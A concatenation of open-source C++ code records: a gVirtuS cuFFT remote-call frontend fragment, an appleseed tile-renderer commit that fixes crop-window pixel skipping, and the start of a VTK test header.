Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * gVirtuS is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with gVirtuS; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n *\n * Written by: Giuseppe Coviello <giuseppe.coviello@uniparthenope.it>,\n * Department of Applied Science\n *\/\n\n#include <cufft.h>\n\n#include \"Frontend.h\"\n#include \"CufftFrontend.h\"\n\nusing namespace std;\n\nextern \"C\" cufftResult cufftPlan1d(cufftHandle *plan, int nx, cufftType type,\n int batch) {\n \/*Frontend *f = Frontend::GetFrontend();\n f->Prepare();\n Buffer *in = f->GetInputBuffer();\n in->Add(nx);\n in->Add(type);\n in->Add(batch);\n f->Execute(\"cufftPlan1d\");\n \/\/cout << hex << f->GetOutputBuffer() << endl;\n \/\/cout << hex << f->GetOutputBuffer()->Get<uint64_t>();\n \/\/*plan = (cufftHandle) f->GetOutputBuffer()->Get<uint64_t>();\n *plan = f->GetOutputBuffer()->Get<cufftHandle>();\n return (cufftResult) f->GetExitCode();*\/\n CufftFrontend::Prepare();\n CufftFrontend::AddHostPointerForArguments(plan);\n CufftFrontend::AddVariableForArguments(nx);\n CufftFrontend::AddVariableForArguments(type);\n CufftFrontend::AddVariableForArguments(batch);\n \n CufftFrontend::Execute(\"cufftPlan1d\");\n if(CufftFrontend::Success())\n *plan = *(CufftFrontend::GetOutputHostPointer<cufftHandle>());\n cout << \"plan : \"<< *plan;\n return (cufftResult) CufftFrontend::GetExitCode();\n \n}\n\nextern \"C\" cufftResult cufftPlan2d(cufftHandle *plan, int nx, int ny,\n cufftType type) {\n Frontend *f = Frontend::GetFrontend();\n f->Prepare();\n Buffer *in = f->GetInputBuffer();\n in->Add(nx);\n in->Add(ny);\n in->Add(type);\n f->Execute(\"cufftPlan2d\");\n *plan = f->GetOutputBuffer()->Get<cufftHandle>();\n return (cufftResult) f->GetExitCode();\n}\n\nextern \"C\" cufftResult cufftPlan3d(cufftHandle *plan, int nx, int ny, int nz,\n cufftType type) {\n Frontend *f = Frontend::GetFrontend();\n f->Prepare();\n Buffer *in = f->GetInputBuffer();\n in->Add(nx);\n in->Add(ny);\n in->Add(nz);\n in->Add(type);\n f->Execute(\"cufftPlan3d\");\n *plan = (cufftHandle) f->GetOutputBuffer()->Get<uint64_t>();\n return (cufftResult) f->GetExitCode();\n}\n\nextern \"C\" cufftResult cufftPlanMany(cufftHandle *plan, int rank, int *n, \n int *inembed, int istride, int idist, int *onembed, int ostride,\n int odist, cufftType type, int batch) {\n Frontend *f = Frontend::GetFrontend();\n f->Prepare();\n Buffer *in = f->GetInputBuffer();\n in->Add(rank);\n in->Add(*n);\n in->Add(istride);\n in->Add(idist);\n in->Add(ostride);\n in->Add(odist);\n in->Add(type);\n in->Add(batch);\n f->Execute(\"cufftPlanMany\");\n *plan = (cufftHandle) f->GetOutputBuffer()->Get<uint64_t>();\n *n = f->GetOutputBuffer()->Get<int>();\n return (cufftResult) f->GetExitCode();\n}\n\n\/*\n * in Testing - Vincenzo Santopietro\n *\/\nextern \"C\" cufftResult cufftCreate(cufftHandle *plan) {\n \/\/Frontend *f = Frontend::GetFrontend();\n CufftFrontend::Prepare();\n CufftFrontend::AddHostPointerForArguments(plan);\n \/\/f->GetFrontend();\n CufftFrontend::Execute(\"cufftCreate\");\n if(CufftFrontend::Success())\n *plan = *(CufftFrontend::GetOutputHostPointer<cufftHandle>());\n printf(\"plan: %d\",*plan);\n return (cufftResult) CufftFrontend::GetExitCode();\/\/(cufftResult) CufftFrontend::GetExitCode();\n}\n\n\nextern \"C\" cufftResult cufftDestroy(cufftHandle plan) {\n Frontend *f = Frontend::GetFrontend();\n f->Prepare();\n Buffer *in = f->GetInputBuffer();\n in->Add(plan);\n f->Execute(\"cufftDestroy\");\n return (cufftResult) f->GetExitCode();\n}\n\nextern \"C\" cufftResult cufftExecC2C(cufftHandle plan, cufftComplex *idata,\n cufftComplex *odata, int direction) {\n Frontend *f = Frontend::GetFrontend();\n f->Prepare();\n Buffer *in = f->GetInputBuffer();\n in->Add(plan);\n in->Add(idata);\n in->Add(odata);\n in->Add(direction);\n f->Execute(\"cufftExecC2C\");\n return (cufftResult) f->GetExitCode();\n}\n\nextern \"C\" cufftResult cufftExecR2C(cufftHandle plan, cufftReal *idata,\n cufftComplex *odata) {\n Frontend *f = Frontend::GetFrontend();\n f->Prepare();\n Buffer *in = f->GetInputBuffer();\n in->Add(plan);\n in->Add(idata);\n in->Add(odata);\n f->Execute(\"cufftExecR2C\");\n return (cufftResult) f->GetExitCode();\n}\n\nextern \"C\" cufftResult cufftExecC2R(cufftHandle plan, cufftComplex *idata,\n cufftReal *odata) {\n Frontend *f = Frontend::GetFrontend();\n f->Prepare();\n Buffer *in = f->GetInputBuffer();\n in->Add(plan);\n in->Add((uint64_t) idata);\n in->Add((uint64_t) odata);\n f->Execute(\"cufftExecC2R\");\n return (cufftResult) f->GetExitCode();\n}\n\nextern \"C\" cufftResult cufftExecZ2Z(cufftHandle plan, cufftDoubleComplex *idata,\n cufftDoubleComplex *odata, int direction) {\n Frontend *f = Frontend::GetFrontend();\n f->Prepare();\n Buffer *in = f->GetInputBuffer();\n in->Add(plan);\n in->Add(idata);\n in->Add(odata);\n in->Add(direction);\n f->Execute(\"cufftExecZ2z\");\n return (cufftResult) f->GetExitCode();\n}\n\nextern \"C\" cufftResult cufftExecD2Z(cufftHandle plan, cufftDoubleReal *idata,\n cufftDoubleComplex *odata) {\n Frontend *f = Frontend::GetFrontend();\n f->Prepare();\n Buffer *in = f->GetInputBuffer();\n in->Add(plan);\n in->Add(idata);\n in->Add(odata);\n f->Execute(\"cufftExecD2Z\");\n return (cufftResult) f->GetExitCode();\n}\n\nextern \"C\" cufftResult cufftExecZ2D(cufftHandle plan, cufftDoubleComplex *idata,\n cufftDoubleReal *odata) {\n Frontend *f = Frontend::GetFrontend();\n f->Prepare();\n Buffer *in = f->GetInputBuffer();\n in->Add(plan);\n in->Add(idata);\n in->Add(odata);\n f->Execute(\"cufftExecZ2D\");\n return (cufftResult) f->GetExitCode();\n\n}\n\nextern \"C\" cufftResult cufftSetStream(cufftHandle plan, cudaStream_t stream) {\n Frontend *f = Frontend::GetFrontend();\n f->Prepare();\n Buffer *in = f->GetInputBuffer();\n in->Add(plan);\n in->Add((uint64_t) stream);\n f->Execute(\"cufftSetStream\");\n return (cufftResult) f->GetExitCode();\n}\n\nextern \"C\" cufftResult cufftSetCompatibilityMode(cufftHandle plan,\n cufftCompatibility mode){\n Frontend *f = Frontend::GetFrontend();\n f->Prepare();\n Buffer *in = f->GetInputBuffer();\n in->Add(plan);\n in->Add(mode);\n f->Execute(\"cufftSetCompatibilityMode\");\n return (cufftResult) f->GetExitCode();\n}\n\n\nextern \"C\" cufftResult cufftXtMakePlanMany(cufftHandle plan, int rank, long long int *n, long long int *inembed, long long int istride, long long int idist, cudaDataType inputtype, long long int *onembed, long long int ostride, long long int odist, cudaDataType outputtype, long long int batch, size_t *workSize, cudaDataType executiontype) {\n Frontend *f = Frontend::GetFrontend();\n f->Prepare();\n Buffer *input_buffer = f->GetInputBuffer();\n plan = (cufftHandle) f->GetOutputBuffer()->Get<cufftHandle>();\n n = (long long int * )f->GetOutputBuffer()->Get<long long int>();\n \n input_buffer->Add(plan);\n input_buffer->Add(rank);\n input_buffer->Add(*n);\n input_buffer->Add(*inembed);\n input_buffer->Add(istride);\n input_buffer->Add(idist);\n input_buffer->Add(inputtype);\n\n input_buffer->Add(*onembed);\n input_buffer->Add(ostride);\n input_buffer->Add(odist);\n input_buffer->Add(outputtype);\n \n input_buffer->Add(batch);\n input_buffer->Add(*workSize);\n input_buffer->Add(executiontype);\n f->Execute(\"cufftXtMakePlanMany\");\n \n return (cufftResult) f->GetExitCode();\n}\n<|endoftext|>"} {"text":"<commit_before><commit_msg>fix OOXML validation error<commit_after><|endoftext|>"} {"text":"<commit_before>\n\/\/\n\/\/ This source file is part of appleseed.\n\/\/ Visit http:\/\/appleseedhq.net\/ for additional information and resources.\n\/\/\n\/\/ This software is released under the MIT license.\n\/\/\n\/\/ Copyright (c) 2010-2013 Francois Beaune, Jupiter Jazz Limited\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\/\/ THE SOFTWARE.\n\/\/\n\n\/\/ Interface header.\n#include \"generictilerenderer.h\"\n\n\/\/ appleseed.renderer headers.\n#include \"renderer\/global\/globallogger.h\"\n#include \"renderer\/global\/globaltypes.h\"\n#include \"renderer\/kernel\/aov\/imagestack.h\"\n#include \"renderer\/kernel\/aov\/tilestack.h\"\n#include \"renderer\/kernel\/rendering\/ipixelrenderer.h\"\n#include \"renderer\/kernel\/rendering\/ishadingresultframebufferfactory.h\"\n#include \"renderer\/kernel\/rendering\/pixelcontext.h\"\n#include \"renderer\/kernel\/rendering\/shadingresultframebuffer.h\"\n#include \"renderer\/modeling\/frame\/frame.h\"\n\n\/\/ appleseed.foundation headers.\n#include \"foundation\/image\/canvasproperties.h\"\n#include \"foundation\/image\/image.h\"\n#include \"foundation\/image\/tile.h\"\n#include \"foundation\/math\/aabb.h\"\n#include \"foundation\/math\/filter.h\"\n#include \"foundation\/math\/ordering.h\"\n#include \"foundation\/math\/scalar.h\"\n#include \"foundation\/math\/vector.h\"\n#include \"foundation\/platform\/breakpoint.h\"\n#include \"foundation\/platform\/types.h\"\n#include \"foundation\/utility\/autoreleaseptr.h\"\n#include \"foundation\/utility\/iostreamop.h\"\n#include \"foundation\/utility\/job.h\"\n#include \"foundation\/utility\/statistics.h\"\n#include \"foundation\/utility\/string.h\"\n\n\/\/ Standard headers.\n#include <cassert>\n#include <cmath>\n#include <cstddef>\n#include <memory>\n#include <string>\n#include <vector>\n\nusing namespace foundation;\nusing namespace std;\n\nnamespace renderer\n{\n\nnamespace\n{\n \/\/\n \/\/ Generic tile renderer.\n \/\/\n\n#ifndef NDEBUG\n\n \/\/ Define this symbol to break execution into the debugger\n \/\/ when a specific pixel is about to be rendered.\n \/\/ #define DEBUG_BREAK_AT_PIXEL Vector2i(0, 0)\n\n#endif\n\n class GenericTileRenderer\n : public ITileRenderer\n {\n public:\n GenericTileRenderer(\n const Frame& frame,\n IPixelRendererFactory* pixel_renderer_factory,\n IShadingResultFrameBufferFactory* framebuffer_factory, \n const ParamArray& params,\n const bool primary)\n : m_pixel_renderer(pixel_renderer_factory->create(primary))\n , m_framebuffer_factory(framebuffer_factory)\n {\n compute_tile_margins(frame, primary);\n compute_pixel_ordering(frame);\n }\n\n virtual void release() OVERRIDE\n {\n delete this;\n }\n\n virtual void render_tile(\n const Frame& frame,\n const size_t tile_x,\n const size_t tile_y,\n const size_t pass_hash,\n AbortSwitch& abort_switch) OVERRIDE\n {\n \/\/ Retrieve frame properties.\n const CanvasProperties& frame_properties = frame.image().properties();\n assert(tile_x < frame_properties.m_tile_count_x);\n assert(tile_y < frame_properties.m_tile_count_y);\n\n \/\/ Retrieve tile properties.\n Tile& tile = frame.image().tile(tile_x, tile_y);\n TileStack aov_tiles = frame.aov_images().tiles(tile_x, tile_y);\n const size_t tile_origin_x = frame_properties.m_tile_width * tile_x;\n const size_t tile_origin_y = frame_properties.m_tile_height * tile_y;\n\n \/\/ Compute the image space bounding box of the pixels to render.\n AABB2u tile_bbox;\n tile_bbox.min.x = tile_origin_x;\n tile_bbox.min.y = tile_origin_y;\n tile_bbox.max.x = tile_origin_x + tile.get_width() - 1;\n tile_bbox.max.y = tile_origin_y + tile.get_height() - 1;\n tile_bbox = AABB2u::intersect(tile_bbox, frame.get_crop_window());\n if (!tile_bbox.is_valid())\n return;\n\n \/\/ Transform the bounding box to local (tile) space.\n tile_bbox.min.x -= tile_origin_x;\n tile_bbox.min.y -= tile_origin_y;\n tile_bbox.max.x -= tile_origin_x;\n tile_bbox.max.y -= tile_origin_y;\n\n \/\/ Inform the pixel renderer that we are about to render a tile.\n m_pixel_renderer->on_tile_begin(frame, tile, aov_tiles);\n\n \/\/ Create the framebuffer into which we will accumulate the samples.\n ShadingResultFrameBuffer* framebuffer =\n m_framebuffer_factory->create(\n frame,\n tile_x,\n tile_y,\n tile_bbox);\n assert(framebuffer);\n\n \/\/ Seed the RNG with the tile index.\n m_rng = SamplingContext::RNGType(\n static_cast<uint32>(\n tile_y * frame_properties.m_tile_count_x + tile_x));\n\n \/\/ Loop over tile pixels.\n const size_t tile_pixel_count = m_pixel_ordering.size();\n for (size_t i = 0; i < tile_pixel_count; ++i)\n {\n \/\/ Cancel any work done on this tile if rendering is aborted.\n if (abort_switch.is_aborted())\n return;\n\n \/\/ Retrieve the coordinates of the pixel in the padded tile.\n const int tx = m_pixel_ordering[i].x;\n const int ty = m_pixel_ordering[i].y;\n\n \/\/ Skip pixels outside the intersection of the padded tile and the crop window.\n if (tx > static_cast<int>(tile_bbox.max.x) + m_margin_width ||\n ty > static_cast<int>(tile_bbox.max.y) + m_margin_height)\n continue;\n\n \/\/ Create a pixel context that identifies the pixel currently being rendered.\n const PixelContext pixel_context(\n static_cast<int>(tile_origin_x) + tx,\n static_cast<int>(tile_origin_y) + ty);\n\n#ifdef DEBUG_BREAK_AT_PIXEL\n\n \/\/ Break in the debugger when this pixel is reached.\n if (pixel_context.get_pixel_coordinates() == DEBUG_BREAK_AT_PIXEL)\n BREAKPOINT();\n\n#endif\n\n \/\/ Render this pixel.\n m_pixel_renderer->render_pixel(\n frame,\n tile,\n aov_tiles,\n AABB2i(tile_bbox),\n pixel_context,\n pass_hash,\n tx, ty,\n m_rng,\n *framebuffer);\n }\n\n \/\/ Develop the framebuffer to the tile.\n if (frame.is_premultiplied_alpha())\n framebuffer->develop_to_tile_premult_alpha(tile, aov_tiles);\n else framebuffer->develop_to_tile_straight_alpha(tile, aov_tiles);\n\n \/\/ Release the framebuffer.\n m_framebuffer_factory->destroy(framebuffer);\n\n \/\/ Inform the pixel renderer that we are done rendering the tile.\n m_pixel_renderer->on_tile_end(frame, tile, aov_tiles);\n }\n\n virtual StatisticsVector get_statistics() const OVERRIDE\n {\n return m_pixel_renderer->get_statistics();\n }\n\n protected:\n auto_release_ptr<IPixelRenderer> m_pixel_renderer;\n IShadingResultFrameBufferFactory* m_framebuffer_factory;\n int m_margin_width;\n int m_margin_height;\n vector<Vector<int16, 2> > m_pixel_ordering;\n SamplingContext::RNGType m_rng;\n\n void compute_tile_margins(const Frame& frame, const bool primary)\n {\n m_margin_width = truncate<int>(ceil(frame.get_filter().get_xradius() - 0.5));\n m_margin_height = truncate<int>(ceil(frame.get_filter().get_yradius() - 0.5));\n\n const CanvasProperties& properties = frame.image().properties();\n const size_t padded_tile_width = properties.m_tile_width + 2 * m_margin_width;\n const size_t padded_tile_height = properties.m_tile_height + 2 * m_margin_height;\n const size_t padded_pixel_count = padded_tile_width * padded_tile_height;\n const size_t pixel_count = properties.m_tile_width * properties.m_tile_height;\n const size_t overhead_pixel_count = padded_pixel_count - pixel_count;\n const double wasted_effort = static_cast<double>(overhead_pixel_count) \/ pixel_count * 100.0;\n const double MaxWastedEffort = 15.0; \/\/ percents\n\n if (primary)\n {\n RENDERER_LOG(\n wasted_effort > MaxWastedEffort ? LogMessage::Warning : LogMessage::Info,\n \"rendering effort wasted by tile borders: %s (tile dimensions: %sx%s, tile margins: %sx%s)\",\n pretty_percent(overhead_pixel_count, pixel_count).c_str(),\n pretty_uint(properties.m_tile_width).c_str(),\n pretty_uint(properties.m_tile_height).c_str(),\n pretty_uint(2 * m_margin_width).c_str(),\n pretty_uint(2 * m_margin_height).c_str());\n }\n }\n\n void compute_pixel_ordering(const Frame& frame)\n {\n \/\/ Compute the dimensions in pixels of the padded tile.\n const CanvasProperties& properties = frame.image().properties();\n const size_t padded_tile_width = properties.m_tile_width + 2 * m_margin_width;\n const size_t padded_tile_height = properties.m_tile_height + 2 * m_margin_height;\n const size_t pixel_count = padded_tile_width * padded_tile_height;\n\n \/\/ Generate the pixel ordering inside the padded tile.\n vector<size_t> ordering;\n ordering.reserve(pixel_count);\n hilbert_ordering(ordering, padded_tile_width, padded_tile_height);\n assert(ordering.size() == pixel_count);\n\n \/\/ Convert the pixel ordering to a 2D representation.\n m_pixel_ordering.resize(pixel_count);\n for (size_t i = 0; i < pixel_count; ++i)\n {\n const size_t x = ordering[i] % padded_tile_width;\n const size_t y = ordering[i] \/ padded_tile_width;\n assert(x < padded_tile_width);\n assert(y < padded_tile_height);\n m_pixel_ordering[i].x = static_cast<int16>(x) - m_margin_width;\n m_pixel_ordering[i].y = static_cast<int16>(y) - m_margin_height;\n }\n }\n };\n}\n\n\n\/\/\n\/\/ GenericTileRendererFactory class implementation.\n\/\/\n\nGenericTileRendererFactory::GenericTileRendererFactory(\n const Frame& frame,\n IPixelRendererFactory* pixel_renderer_factory,\n IShadingResultFrameBufferFactory* framebuffer_factory, \n const ParamArray& params)\n : m_frame(frame)\n , m_pixel_renderer_factory(pixel_renderer_factory)\n , m_framebuffer_factory(framebuffer_factory)\n , m_params(params)\n{\n}\n\nvoid GenericTileRendererFactory::release()\n{\n delete this;\n}\n\nITileRenderer* GenericTileRendererFactory::create(const bool primary)\n{\n return\n new GenericTileRenderer(\n m_frame,\n m_pixel_renderer_factory,\n m_framebuffer_factory,\n m_params,\n primary);\n}\n\n} \/\/ namespace renderer\n<commit_msg>bug fix: some pixels were computed even though they were outside the crop window (they were not stored though).<commit_after>\n\/\/\n\/\/ This source file is part of appleseed.\n\/\/ Visit http:\/\/appleseedhq.net\/ for additional information and resources.\n\/\/\n\/\/ This software is released under the MIT license.\n\/\/\n\/\/ Copyright (c) 2010-2013 Francois Beaune, Jupiter Jazz Limited\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\/\/ THE SOFTWARE.\n\/\/\n\n\/\/ Interface header.\n#include \"generictilerenderer.h\"\n\n\/\/ appleseed.renderer headers.\n#include \"renderer\/global\/globallogger.h\"\n#include \"renderer\/global\/globaltypes.h\"\n#include \"renderer\/kernel\/aov\/imagestack.h\"\n#include \"renderer\/kernel\/aov\/tilestack.h\"\n#include \"renderer\/kernel\/rendering\/ipixelrenderer.h\"\n#include \"renderer\/kernel\/rendering\/ishadingresultframebufferfactory.h\"\n#include \"renderer\/kernel\/rendering\/pixelcontext.h\"\n#include \"renderer\/kernel\/rendering\/shadingresultframebuffer.h\"\n#include \"renderer\/modeling\/frame\/frame.h\"\n\n\/\/ appleseed.foundation headers.\n#include \"foundation\/image\/canvasproperties.h\"\n#include \"foundation\/image\/image.h\"\n#include \"foundation\/image\/tile.h\"\n#include \"foundation\/math\/aabb.h\"\n#include \"foundation\/math\/filter.h\"\n#include \"foundation\/math\/ordering.h\"\n#include \"foundation\/math\/scalar.h\"\n#include \"foundation\/math\/vector.h\"\n#include \"foundation\/platform\/breakpoint.h\"\n#include \"foundation\/platform\/types.h\"\n#include \"foundation\/utility\/autoreleaseptr.h\"\n#include \"foundation\/utility\/iostreamop.h\"\n#include \"foundation\/utility\/job.h\"\n#include \"foundation\/utility\/statistics.h\"\n#include \"foundation\/utility\/string.h\"\n\n\/\/ Standard headers.\n#include <cassert>\n#include <cmath>\n#include <cstddef>\n#include <memory>\n#include <string>\n#include <vector>\n\nusing namespace foundation;\nusing namespace std;\n\nnamespace renderer\n{\n\nnamespace\n{\n \/\/\n \/\/ Generic tile renderer.\n \/\/\n\n#ifndef NDEBUG\n\n \/\/ Define this symbol to break execution into the debugger\n \/\/ when a specific pixel is about to be rendered.\n \/\/ #define DEBUG_BREAK_AT_PIXEL Vector2i(0, 0)\n\n#endif\n\n class GenericTileRenderer\n : public ITileRenderer\n {\n public:\n GenericTileRenderer(\n const Frame& frame,\n IPixelRendererFactory* pixel_renderer_factory,\n IShadingResultFrameBufferFactory* framebuffer_factory, \n const ParamArray& params,\n const bool primary)\n : m_pixel_renderer(pixel_renderer_factory->create(primary))\n , m_framebuffer_factory(framebuffer_factory)\n {\n compute_tile_margins(frame, primary);\n compute_pixel_ordering(frame);\n }\n\n virtual void release() OVERRIDE\n {\n delete this;\n }\n\n virtual void render_tile(\n const Frame& frame,\n const size_t tile_x,\n const size_t tile_y,\n const size_t pass_hash,\n AbortSwitch& abort_switch) OVERRIDE\n {\n \/\/ Retrieve frame properties.\n const CanvasProperties& frame_properties = frame.image().properties();\n assert(tile_x < frame_properties.m_tile_count_x);\n assert(tile_y < frame_properties.m_tile_count_y);\n\n \/\/ Retrieve tile properties.\n Tile& tile = frame.image().tile(tile_x, tile_y);\n TileStack aov_tiles = frame.aov_images().tiles(tile_x, tile_y);\n const size_t tile_origin_x = frame_properties.m_tile_width * tile_x;\n const size_t tile_origin_y = frame_properties.m_tile_height * tile_y;\n\n \/\/ Compute the image space bounding box of the pixels to render.\n AABB2u tile_bbox;\n tile_bbox.min.x = tile_origin_x;\n tile_bbox.min.y = tile_origin_y;\n tile_bbox.max.x = tile_origin_x + tile.get_width() - 1;\n tile_bbox.max.y = tile_origin_y + tile.get_height() - 1;\n tile_bbox = AABB2u::intersect(tile_bbox, frame.get_crop_window());\n if (!tile_bbox.is_valid())\n return;\n\n \/\/ Transform the bounding box to local (tile) space.\n tile_bbox.min.x -= tile_origin_x;\n tile_bbox.min.y -= tile_origin_y;\n tile_bbox.max.x -= tile_origin_x;\n tile_bbox.max.y -= tile_origin_y;\n\n \/\/ Inform the pixel renderer that we are about to render a tile.\n m_pixel_renderer->on_tile_begin(frame, tile, aov_tiles);\n\n \/\/ Create the framebuffer into which we will accumulate the samples.\n ShadingResultFrameBuffer* framebuffer =\n m_framebuffer_factory->create(\n frame,\n tile_x,\n tile_y,\n tile_bbox);\n assert(framebuffer);\n\n \/\/ Seed the RNG with the tile index.\n m_rng = SamplingContext::RNGType(\n static_cast<uint32>(\n tile_y * frame_properties.m_tile_count_x + tile_x));\n\n \/\/ Loop over tile pixels.\n const size_t tile_pixel_count = m_pixel_ordering.size();\n for (size_t i = 0; i < tile_pixel_count; ++i)\n {\n \/\/ Cancel any work done on this tile if rendering is aborted.\n if (abort_switch.is_aborted())\n return;\n\n \/\/ Retrieve the coordinates of the pixel in the padded tile.\n const int tx = m_pixel_ordering[i].x;\n const int ty = m_pixel_ordering[i].y;\n\n \/\/ Skip pixels outside the intersection of the padded tile and the crop window.\n if (tx < static_cast<int>(tile_bbox.min.x) - m_margin_width ||\n ty < static_cast<int>(tile_bbox.min.y) - m_margin_height ||\n tx > static_cast<int>(tile_bbox.max.x) + m_margin_width ||\n ty > static_cast<int>(tile_bbox.max.y) + m_margin_height)\n continue;\n\n \/\/ Create a pixel context that identifies the pixel currently being rendered.\n const PixelContext pixel_context(\n static_cast<int>(tile_origin_x) + tx,\n static_cast<int>(tile_origin_y) + ty);\n\n#ifdef DEBUG_BREAK_AT_PIXEL\n\n \/\/ Break in the debugger when this pixel is reached.\n if (pixel_context.get_pixel_coordinates() == DEBUG_BREAK_AT_PIXEL)\n BREAKPOINT();\n\n#endif\n\n \/\/ Render this pixel.\n m_pixel_renderer->render_pixel(\n frame,\n tile,\n aov_tiles,\n AABB2i(tile_bbox),\n pixel_context,\n pass_hash,\n tx, ty,\n m_rng,\n *framebuffer);\n }\n\n \/\/ Develop the framebuffer to the tile.\n if (frame.is_premultiplied_alpha())\n framebuffer->develop_to_tile_premult_alpha(tile, aov_tiles);\n else framebuffer->develop_to_tile_straight_alpha(tile, aov_tiles);\n\n \/\/ Release the framebuffer.\n m_framebuffer_factory->destroy(framebuffer);\n\n \/\/ Inform the pixel renderer that we are done rendering the tile.\n m_pixel_renderer->on_tile_end(frame, tile, aov_tiles);\n }\n\n virtual StatisticsVector get_statistics() const OVERRIDE\n {\n return m_pixel_renderer->get_statistics();\n }\n\n protected:\n auto_release_ptr<IPixelRenderer> m_pixel_renderer;\n IShadingResultFrameBufferFactory* m_framebuffer_factory;\n int m_margin_width;\n int m_margin_height;\n vector<Vector<int16, 2> > m_pixel_ordering;\n SamplingContext::RNGType m_rng;\n\n void compute_tile_margins(const Frame& frame, const bool primary)\n {\n m_margin_width = truncate<int>(ceil(frame.get_filter().get_xradius() - 0.5));\n m_margin_height = truncate<int>(ceil(frame.get_filter().get_yradius() - 0.5));\n\n const CanvasProperties& properties = frame.image().properties();\n const size_t padded_tile_width = properties.m_tile_width + 2 * m_margin_width;\n const size_t padded_tile_height = properties.m_tile_height + 2 * m_margin_height;\n const size_t padded_pixel_count = padded_tile_width * padded_tile_height;\n const size_t pixel_count = properties.m_tile_width * properties.m_tile_height;\n const size_t overhead_pixel_count = padded_pixel_count - pixel_count;\n const double wasted_effort = static_cast<double>(overhead_pixel_count) \/ pixel_count * 100.0;\n const double MaxWastedEffort = 15.0; \/\/ percents\n\n if (primary)\n {\n RENDERER_LOG(\n wasted_effort > MaxWastedEffort ? LogMessage::Warning : LogMessage::Info,\n \"rendering effort wasted by tile borders: %s (tile dimensions: %sx%s, tile margins: %sx%s)\",\n pretty_percent(overhead_pixel_count, pixel_count).c_str(),\n pretty_uint(properties.m_tile_width).c_str(),\n pretty_uint(properties.m_tile_height).c_str(),\n pretty_uint(2 * m_margin_width).c_str(),\n pretty_uint(2 * m_margin_height).c_str());\n }\n }\n\n void compute_pixel_ordering(const Frame& frame)\n {\n \/\/ Compute the dimensions in pixels of the padded tile.\n const CanvasProperties& properties = frame.image().properties();\n const size_t padded_tile_width = properties.m_tile_width + 2 * m_margin_width;\n const size_t padded_tile_height = properties.m_tile_height + 2 * m_margin_height;\n const size_t pixel_count = padded_tile_width * padded_tile_height;\n\n \/\/ Generate the pixel ordering inside the padded tile.\n vector<size_t> ordering;\n ordering.reserve(pixel_count);\n hilbert_ordering(ordering, padded_tile_width, padded_tile_height);\n assert(ordering.size() == pixel_count);\n\n \/\/ Convert the pixel ordering to a 2D representation.\n m_pixel_ordering.resize(pixel_count);\n for (size_t i = 0; i < pixel_count; ++i)\n {\n const size_t x = ordering[i] % padded_tile_width;\n const size_t y = ordering[i] \/ padded_tile_width;\n assert(x < padded_tile_width);\n assert(y < padded_tile_height);\n m_pixel_ordering[i].x = static_cast<int16>(x) - m_margin_width;\n m_pixel_ordering[i].y = static_cast<int16>(y) - m_margin_height;\n }\n }\n };\n}\n\n\n\/\/\n\/\/ GenericTileRendererFactory class implementation.\n\/\/\n\nGenericTileRendererFactory::GenericTileRendererFactory(\n const Frame& frame,\n IPixelRendererFactory* pixel_renderer_factory,\n IShadingResultFrameBufferFactory* framebuffer_factory, \n const ParamArray& params)\n : m_frame(frame)\n , m_pixel_renderer_factory(pixel_renderer_factory)\n , m_framebuffer_factory(framebuffer_factory)\n , m_params(params)\n{\n}\n\nvoid GenericTileRendererFactory::release()\n{\n delete this;\n}\n\nITileRenderer* GenericTileRendererFactory::create(const bool primary)\n{\n return\n new GenericTileRenderer(\n m_frame,\n m_pixel_renderer_factory,\n m_framebuffer_factory,\n m_params,\n primary);\n}\n\n} \/\/ namespace renderer\n<|endoftext|>"} {"text":"<commit_before>\/*=========================================================================\n\n Program: Visualization Toolkit\n Module: TestLabelPlacerExodus.cxx\n\n Copyright (c) Ken Martin, Will Schroeder, Bill Lorensen\n All rights reserved.\n See Copyright.txt or http:\/\/www.kitware.com\/Copyright.htm for details.\n\n This software is distributed WITHOUT ANY WARRANTY; without even\n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n PURPOSE. See the above copyright notice for more 